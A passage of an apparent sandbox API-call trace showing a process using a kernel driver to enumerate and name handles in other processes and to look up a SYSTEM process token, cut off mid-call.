[0093.534] ObfDereferenceObject (Object=0xfffff8a0019a8fc0) returned 0xa [0093.534] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.534] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.534] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.534] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0093.534] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.534] PsAcquireProcessExitSynchronization () returned 0x0 [0093.534] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0) [0093.534] ObReferenceObjectByHandle (in: Handle=0x678, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80018f9ca0, HandleInformation=0x0) returned 0x0 [0093.534] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.534] PsReleaseProcessExitSynchronization () returned 0x2 [0093.534] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0xfe [0093.534] ObQueryNameString (in: Object=0xfffffa80018f9ca0, ObjectNameInfo=0xfffffa8001f8a044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001f8a044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.534] ObfDereferenceObject (Object=0xfffffa80018f9ca0) returned 0x1 [0093.534] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.534] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.535] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.535] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0xe6, lpOverlapped=0x0) returned 1 [0093.535] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.535] PsAcquireProcessExitSynchronization () returned 0x0 [0093.535] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0) [0093.535] ObReferenceObjectByHandle (in: Handle=0x6ac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80019453e0, HandleInformation=0x0) returned 0x0 [0093.535] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.535] PsReleaseProcessExitSynchronization () returned 0x2 [0093.535] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0xfe [0093.535] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001942044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001942044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.535] ObfDereferenceObject (Object=0xfffffa80019453e0) returned 0x1 [0093.535] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.535] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.535] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.535] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x68, lpOverlapped=0x0) returned 1 [0093.535] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.535] PsAcquireProcessExitSynchronization () returned 0x0 [0093.535] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0) [0093.535] ObReferenceObjectByHandle (in: Handle=0x6b0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0014f2d60, HandleInformation=0x0) returned 0x0 [0093.535] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.535] PsReleaseProcessExitSynchronization () returned 0x2 [0093.535] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0xfe [0093.535] ObQueryNameString (in: Object=0xfffff8a0014f2d60, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.535] ObfDereferenceObject (Object=0xfffff8a0014f2d60) returned 0x7 [0093.535] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.535] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.535] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.535] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x3c, lpOverlapped=0x0) returned 1 [0093.535] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.535] PsAcquireProcessExitSynchronization () returned 0x0 [0093.535] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0) [0093.536] ObReferenceObjectByHandle (in: Handle=0x738, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80030bbdf0, HandleInformation=0x0) returned 0x0 [0093.536] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.536] PsReleaseProcessExitSynchronization () returned 0x2 [0093.536] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0xfe [0093.536] ObQueryNameString (in: Object=0xfffffa80030bbdf0, ObjectNameInfo=0xfffffa8001a27044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001a27044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.536] ObfDereferenceObject (Object=0xfffffa80030bbdf0) returned 0x2 [0093.536] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.536] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.536] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.536] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0093.536] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.536] PsAcquireProcessExitSynchronization () returned 0x0 [0093.536] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0) [0093.536] ObReferenceObjectByHandle (in: Handle=0x740, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80019d1070, HandleInformation=0x0) returned 0x0 [0093.536] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.536] PsReleaseProcessExitSynchronization () returned 0x2 [0093.536] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0xfe [0093.536] ObQueryNameString (in: Object=0xfffffa80019d1070, ObjectNameInfo=0xfffffa8001ed1044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001ed1044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.536] ObfDereferenceObject (Object=0xfffffa80019d1070) returned 0x1 [0093.536] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.536] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.536] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.536] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0xd8, lpOverlapped=0x0) returned 1 [0093.536] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.536] PsAcquireProcessExitSynchronization () returned 0x0 [0093.536] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0) [0093.536] ObReferenceObjectByHandle (in: Handle=0x758, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800206b4e0, HandleInformation=0x0) returned 0x0 [0093.536] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.536] PsReleaseProcessExitSynchronization () returned 0x2 [0093.536] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0xfe [0093.536] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001edd044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001edd044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.536] ObfDereferenceObject (Object=0xfffffa800206b4e0) returned 0x12 [0093.536] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.537] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.537] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.537] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0xe2, lpOverlapped=0x0) returned 1 [0093.537] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.537] PsAcquireProcessExitSynchronization () returned 0x0 [0093.537] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0) [0093.537] ObReferenceObjectByHandle (in: Handle=0x760, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800207daa0, HandleInformation=0x0) returned 0x0 [0093.537] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.537] PsReleaseProcessExitSynchronization () returned 0x2 [0093.537] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0xfe [0093.537] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001ee1044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001ee1044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.537] ObfDereferenceObject (Object=0xfffffa800207daa0) returned 0x12 [0093.537] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.537] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.537] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.537] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0xda, lpOverlapped=0x0) returned 1 [0093.537] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.537] PsAcquireProcessExitSynchronization () returned 0x0 [0093.537] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0) [0093.537] ObReferenceObjectByHandle (in: Handle=0x76c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80020838a0, HandleInformation=0x0) returned 0x0 [0093.537] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.537] PsReleaseProcessExitSynchronization () returned 0x2 [0093.537] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0xfe [0093.537] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001f9d044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001f9d044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.537] ObfDereferenceObject (Object=0xfffffa80020838a0) returned 0x12 [0093.537] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.537] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.537] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.537] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0xe2, lpOverlapped=0x0) returned 1 [0093.537] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.537] PsAcquireProcessExitSynchronization () returned 0x0 [0093.538] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0) [0093.538] ObReferenceObjectByHandle (in: Handle=0x780, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80020899b0, HandleInformation=0x0) returned 0x0 [0093.538] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.538] PsReleaseProcessExitSynchronization () returned 0x2 [0093.538] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0xfe [0093.538] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001faa044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001faa044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.538] ObfDereferenceObject (Object=0xfffffa80020899b0) returned 0x12 [0093.538] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.538] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.638] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x338) returned 0xc0 [0093.638] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0093.638] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa800312bb30, HandleInformation=0x0) returned 0x0 [0093.638] ObOpenObjectByPointer (in: Object=0xfffffa800312bb30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff800006d4) returned 0x0 [0093.638] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xcf [0093.638] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800006d4, DesiredAccess=0x8, TokenHandle=0xfffffa800261a840 | out: TokenHandle=0xfffffa800261a840*=0xc8) returned 0x0 [0093.638] ZwClose (Handle=0xffffffff800006d4) returned 0x0 [0093.638] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.638] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0093.638] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0093.640] CloseHandle (hObject=0xc8) returned 1 [0093.640] CloseHandle (hObject=0xc0) returned 1 [0093.640] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.640] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0093.640] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.640] PsAcquireProcessExitSynchronization () returned 0x0 [0093.640] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880052335d0) [0093.640] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80031589b0, HandleInformation=0x0) returned 0x0 [0093.640] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.640] PsReleaseProcessExitSynchronization () returned 0x2 [0093.640] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xcd [0093.640] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800210d044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa800210d044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.640] ObfDereferenceObject (Object=0xfffffa80031589b0) returned 0x1 [0093.640] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.640] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.640] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.640] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0093.640] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.640] PsAcquireProcessExitSynchronization () returned 0x0 [0093.640] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880052335d0) [0093.640] ObReferenceObjectByHandle (in: Handle=0x5c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80031657d0, HandleInformation=0x0) returned 0x0 [0093.640] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.640] PsReleaseProcessExitSynchronization () returned 0x2 [0093.640] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xcd [0093.640] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8002136044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8002136044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.640] ObfDereferenceObject (Object=0xfffffa80031657d0) returned 0x1 [0093.640] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.640] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.640] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.640] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0093.641] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.641] PsAcquireProcessExitSynchronization () returned 0x0 [0093.641] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880052335d0) [0093.641] ObReferenceObjectByHandle (in: Handle=0x110, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0093.641] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.641] PsReleaseProcessExitSynchronization () returned 0x2 [0093.641] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xcd [0093.641] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8001fb0044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001fb0044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.641] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x2b [0093.641] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.641] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.641] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.641] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0093.641] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.641] PsAcquireProcessExitSynchronization () returned 0x0 [0093.641] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880052335d0) [0093.641] ObReferenceObjectByHandle (in: Handle=0x118, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0093.641] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.641] PsReleaseProcessExitSynchronization () returned 0x2 [0093.641] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xcd [0093.641] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8001fbf044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001fbf044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.641] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x2b [0093.641] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.641] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.641] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.641] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x44, lpOverlapped=0x0) returned 1 [0093.641] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.641] PsAcquireProcessExitSynchronization () returned 0x0 [0093.641] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880052335d0) [0093.641] ObReferenceObjectByHandle (in: Handle=0x15c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003181ea0, HandleInformation=0x0) returned 0x0 [0093.641] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.641] PsReleaseProcessExitSynchronization () returned 0x2 [0093.641] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xcd [0093.641] ObQueryNameString (in: Object=0xfffffa8002e554f0, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.641] ObfDereferenceObject (Object=0xfffffa8003181ea0) returned 0x1 [0093.641] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.642] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.642] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.642] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, 